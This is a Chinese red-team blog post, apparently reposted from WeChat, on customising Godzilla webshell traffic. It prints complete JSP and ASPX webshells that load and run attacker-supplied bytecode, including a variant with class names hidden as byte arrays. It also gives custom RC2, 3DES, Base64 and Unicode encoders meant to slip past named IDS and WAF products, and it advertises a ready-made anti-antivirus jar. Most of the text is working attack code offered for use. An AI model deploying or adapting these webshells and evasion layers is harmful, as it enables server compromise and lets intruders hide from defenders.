JSP
这是哥斯拉默认加密方法AES_RAW,加解密流程 读取data-AES解密-AES加密-发送data
其中的xc 也就是aes加密的密钥,就是哥斯拉pass+key的md5编码
<%! String xc="c4ca4238a0b92382"; class X extends ClassLoader{public
X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb,
0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher
c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new
javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch
(Exception e){return null; }}
%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-
Length"))];java.io.InputStream inputStream= request.getInputStream();int
_num=0;while ((_num+=inputStream.read(data,_num,data.length))
<data.length);data=x(data, false);if (session.getAttribute("payload")==null)
{session.setAttribute("payload",new
X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("paramet
ers", data);Object f=
((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputSt
ream arrOut=new
java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toStrin
g();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch
(Exception e){}
%>
这里我们直接去掉aes加解密操作
<%!
class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}
%>
<%
try {
byte[] data = new byte[Integer.parseInt(request.getHeader("Content-
Length"))];
java.io.InputStream inputStream = request.getInputStream();
int _num = 0;
while ((_num += inputStream.read(data, _num, data.length)) < data.length);
if (session.getAttribute("payload") == null) {
// 如果 session 中没有 "payload",加载字节码并将其转换为类
session.setAttribute("payload", new
X(this.getClass().getClassLoader()).Q(data));
} else {
// 如果 session 中已有 "payload",执行后续操作
request.setAttribute("parameters", data);
Object f = ((Class)session.getAttribute("payload")).newInstance();
// 输出流用于收集类的执行结果
java.io.ByteArrayOutputStream arrOut = new
java.io.ByteArrayOutputStream();
f.equals(arrOut);
f.equals(pageContext);
f.toString();
// 输出执行结果
response.getOutputStream().write(arrOut.toByteArray());
}
} catch (Exception e) {}
%>
其中也可以这样子修改,只需要保留主体逻辑,这样修改避免了定义classloader方法而是采用字节码动态加载
<%!
%>
<%
try {
byte[] data = new byte[Integer.parseInt(request.getHeader("Content-
Length"))];
java.io.InputStream inputStream = request.getInputStream();
int _num = 0;
while ((_num += inputStream.read(data, _num, data.length)) < data.length);
if (session.getAttribute("payload") == null) {
// 如果 session 中没有 "payload",加载字节码并将其转换为类
Class cc = Class.forName("c" + new String(new byte[]
{111,109,46,115,117,110,46,106,109,120,46,114,101,109,111,116,101,46,117,116,105
,108,46,79,114,100,101,114,67,108,97,115,115,76,111,97,100,101,114}) + "s");
Object a = Thread.currentThread().getContextClassLoader();
Object b = cc.getDeclaredConstructor(new Class[]{ClassLoader.class,
ClassLoader.class}).newInstance(a, a);
java.lang.reflect.Method c = cc.getSuperclass().getDeclaredMethod("d" +
new String(new byte[]{101,102,105,110,101,67,108,97,115}) + "s", byte[].class,
int.class, int.class);
c.setAccessible(true);
Class zz = (Class) c.invoke(b, new Object[]{data, 0, data.length}); //
动态调用方法
session.setAttribute("payload", zz); // 将加载的类存储在 session 中
} else {
// 如果 session 中已有 "payload",执行后续操作
request.setAttribute("p" + new String(new byte[]
{97,114,97,109,101,116,101,114}) + "s", data);
Object f = ((Class)session.getAttribute("payload")).newInstance();
// 输出流用于收集类的执行结果
java.io.ByteArrayOutputStream arrOut = new
java.io.ByteArrayOutputStream();
f.equals(arrOut);
f.equals(pageContext);
f.toString();
// 输出执行结果
response.getOutputStream().write(arrOut.toByteArray());
}
} catch (Exception e) {}
%>
从这个和上面哥斯拉默认AES_RAW对比我们就可以发现哥斯拉的流程
data-解密-加密-data,其中javaAesRaw.java中的流程是加密-解密
public byte[] encode(byte[] data) {
try {
return this.encodeCipher.doFinal(data);
} catch (Exception var3) {
Log.error(var3);
return null;
}
}
public byte[] decode(byte[] data) {
try {
return this.decodeCipher.doFinal(data);
} catch (Exception var3) {
Log.error(var3);
return null;
}
}
通过上面综合对比,可以通俗的总结一点,只要加密和解密处理逻辑对的上,就可以自定义编写哥斯拉加密器:
首先写好加解密函数,这里采用的是RC2+BASE64+unicode
RC2:
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("RC2");
c.init(m ? javax.crypto.Cipher.ENCRYPT_MODE :
javax.crypto.Cipher.DECRYPT_MODE,
new
javax.crypto.spec.SecretKeySpec(xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxx.getBytes(), "RC2"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
BASE64:
public static String base64Encode(byte[] bs) throws Exception {
try {
Class<?> base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder").invoke(null);
return (String) encoder.getClass().getMethod("encodeToString",
byte[].class).invoke(encoder, bs);
} catch (Exception e) {
Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
return (String) base64.getMethod("encode",
byte[].class).invoke(encoder, bs);
}
}
public static byte[] base64Decode(String bs) throws Exception {
try {
Class<?> base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode",
String.class).invoke(decoder, bs);
} catch (Exception e) {
Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
return (byte[]) base64.getMethod("decodeBuffer",
String.class).invoke(decoder, bs);
}
}
Unicode:
public static String toUnicode(String str) {
StringBuilder unicodeEncodedString = new StringBuilder();
for (char c : str.toCharArray()) {
unicodeEncodedString.append(String.format("\U%04X", (int) c));
}
return unicodeEncodedString.toString().replace("\U",
"\X").replace("\X00", "----");
}
public static String fromUnicode(String str) {
str = str.replace("----", "\X00").replace("\X", "\U");
StringBuilder decodedString = new StringBuilder();
for (int i = 0; i < str.length(); i += 6) {
String unicodeHex = str.substring(i + 2, i + 6);
int unicodeInt = Integer.parseInt(unicodeHex, 16);
decodedString.append((char) unicodeInt);
}
return decodedString.toString();
}
整体jsp如下:
这里省略代码若干......
整体jsp解密流程如下:
unicode解密-base64解密-rc2解密
rc2加密-base64加密-unicode加密
之后只需要修改java代码里面中的加解密函数
其中,加密函数:
public byte[] encode(byte[] data) {
try {
byte[] encryptedData = this.encodeCipher.doFinal(data);
String base64EncodedString =
Base64.getEncoder().encodeToString(encryptedData);
StringBuilder unicodeEncodedString = new StringBuilder();
for (char c : base64EncodedString.toCharArray()) {
unicodeEncodedString.append(String.format("\U%04X", (int) c));
}
String result = unicodeEncodedString.toString().replace("\U",
"\X");
String finaldata=result.replace("\X00","----");
return finaldata.getBytes(StandardCharsets.UTF_8);
} catch (Exception var3) {
Log.error(var3);
return null;
}
}
解密函数:
public byte[] decode(byte[] data) {
try {
String unicodeEncodedString = new String(data,
StandardCharsets.UTF_8);
unicodeEncodedString = (unicodeEncodedString.replace("----",
"\X00")).replace("\X","\U");
StringBuilder decodedUnicodeBuilder = new StringBuilder();
// 2. Unicode 解码(将 UXXXX 转换回字符)
for (int i = 0; i < unicodeEncodedString.length(); i += 6) {
String unicodeHex = unicodeEncodedString.substring(i + 2, i + 6);
// 获取 U 后的4个十六进制字符
int unicodeInt = Integer.parseInt(unicodeHex, 16); // 转换为整数
decodedUnicodeBuilder.append((char) unicodeInt); // 转换为字符并追
加
}
String decodedString = decodedUnicodeBuilder.toString();
byte[] base64DecodedData =
Base64.getDecoder().decode(decodedString);
return this.decodeCipher.doFinal(base64DecodedData);
} catch (Exception var3) {
Log.error(var3);
return null;
}
}
效果如下:
ASPX
同样的方法
aspx raw:
<%@ Page Language="C#"%>
<%try{string key = "c4ca4238a0b92382";byte[] data = new
System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encod
ing.Default.GetBytes(key),
System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(Context.Request.
BinaryRead(Context.Request.ContentLength), 0, Context.Request.ContentLength);if
(Context.Session["payload"] == null){ Context.Session["payload"] =
(System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load",
new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data });}else{
object o =
((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY");
System.IO.MemoryStream outStream = new
System.IO.MemoryStream();o.Equals(outStream);o.Equals(Context);
o.Equals(data);o.ToString();byte[] r =
outStream.ToArray();outStream.Dispose();Context.Response.BinaryWrite(new
System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encod
ing.Default.GetBytes(key),
System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0,
r.Length));}}catch(System.Exception){}
%>
去除aes加解密后的脚本:
<%@ Page Language="C#" %>
<%
try {
// 直接读取请求中的二进制数据
byte[] data = Context.Request.BinaryRead(Context.Request.ContentLength);
// 检查会话中是否有 'payload'
if (Context.Session["payload"] == null) {
// 动态加载程序集,不再解密
Context.Session["payload"] =
(System.Reflection.Assembly)typeof(System.Reflection.Assembly)
.GetMethod("Load", new System.Type[] { typeof(byte[]) })
.Invoke(null, new object[] { data });
} else {
// 实例化会话中已加载的程序集中的 'LY' 类
object o =
((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY");
// 将数据写入内存流
System.IO.MemoryStream outStream = new System.IO.MemoryStream();
o.Equals(outStream);
o.Equals(Context);
o.Equals(data);
o.ToString();
// 获取处理结果数据
byte[] r = outStream.ToArray();
outStream.Dispose();
// 直接将处理后的结果写回到响应,不再加密
Context.Response.BinaryWrite(r);
}
} catch (System.Exception) {
// 捕获异常,不进行处理
}
%>
这里可以很清楚的发现哥斯拉aspx脚本的处理流程:读取data-有无加解密-发送data,明白了这一点就可以直接上手
整体aspx脚本如下:
<%@ Page Language="C#"%>
<%try {
string key = "123456789012345678901234";
string iv = "12345678";
using (System.Security.Cryptography.TripleDESCryptoServiceProvider tdes = new
System.Security.Cryptography.TripleDESCryptoServiceProvider()) {
tdes.Key = System.Text.Encoding.UTF8.GetBytes(key);
tdes.IV = System.Text.Encoding.UTF8.GetBytes(iv);
byte[] requestData =
Context.Request.BinaryRead(Context.Request.ContentLength);
string unicodeDecodedString =
System.Text.Encoding.UTF8.GetString(requestData);
string unicode = unicodeDecodedString.Replace("\0", "\U");
StringBuilder decodedUnicodeBuilder = new StringBuilder();
for (int i = 0; i < unicode.Length; i += 6) {
string unicodeHex = unicode.Substring(i + 2, 4);
int unicodeInt = Convert.ToInt32(unicodeHex, 16);
decodedUnicodeBuilder.Append((char)unicodeInt);
}
string decodedString = decodedUnicodeBuilder.ToString();
byte[] base64DecodedData =
System.Convert.FromBase64String(decodedString);
byte[] decryptedData;
using (System.IO.MemoryStream ms = new System.IO.MemoryStream()) {
using (System.Security.Cryptography.CryptoStream cs = new
System.Security.Cryptography.CryptoStream(ms, tdes.CreateDecryptor(),
System.Security.Cryptography.CryptoStreamMode.Write)) {
cs.Write(base64DecodedData, 0, base64DecodedData.Length);
cs.FlushFinalBlock();
decryptedData = ms.ToArray();
}
}
if (Context.Session["payload"] == null) {
Context.Session["payload"] =
(System.Reflection.Assembly)typeof(System.Reflection.Assembly)
.GetMethod("Load", new System.Type[] { typeof(byte[]) })
.Invoke(null, new object[] { decryptedData });
} else {
object o =
((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY");
System.IO.MemoryStream outStream = new System.IO.MemoryStream();
o.Equals(outStream);
o.Equals(Context);
o.Equals(decryptedData);
o.ToString();
byte[] r = outStream.ToArray();
outStream.Dispose();
byte[] encryptedResponse;
using (System.IO.MemoryStream ms = new System.IO.MemoryStream()) {
using (System.Security.Cryptography.CryptoStream cs = new
System.Security.Cryptography.CryptoStream(ms, tdes.CreateEncryptor(),
System.Security.Cryptography.CryptoStreamMode.Write)) {
cs.Write(r, 0, r.Length);
cs.FlushFinalBlock();
encryptedResponse = ms.ToArray();
}
}
string base64EncodedResponse =
System.Convert.ToBase64String(encryptedResponse);
StringBuilder unicodeEncodedResponse = new StringBuilder();
foreach (char c in base64EncodedResponse) {
unicodeEncodedResponse.AppendFormat("\O{0:X4}", (int)c);
}
string unicodeEncodedString = unicodeEncodedResponse.ToString();
Context.Response.ContentType = "application/octet-stream";
Context.Response.Write(unicodeEncodedString);
}
}
}
catch(System.Exception ex) {
}%>
之后同样修改加解密函数,方法原理同上jsp,这里略过
效果如下:
流量已测过天眼、微步tpd、绿盟ips、长亭waf,完整jar包知识星球自取,内置免杀插件,生成即免杀。
信 安 考 证
CISP、PTE、PTS、DSG、IRE、IRS、NISP、PMP、CCSK、CISSP、ISO27001... |
好书推荐:
原文始发于微信公众号(老鑫安全):红队必备知识:哥斯拉流量魔改以及模板生成
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论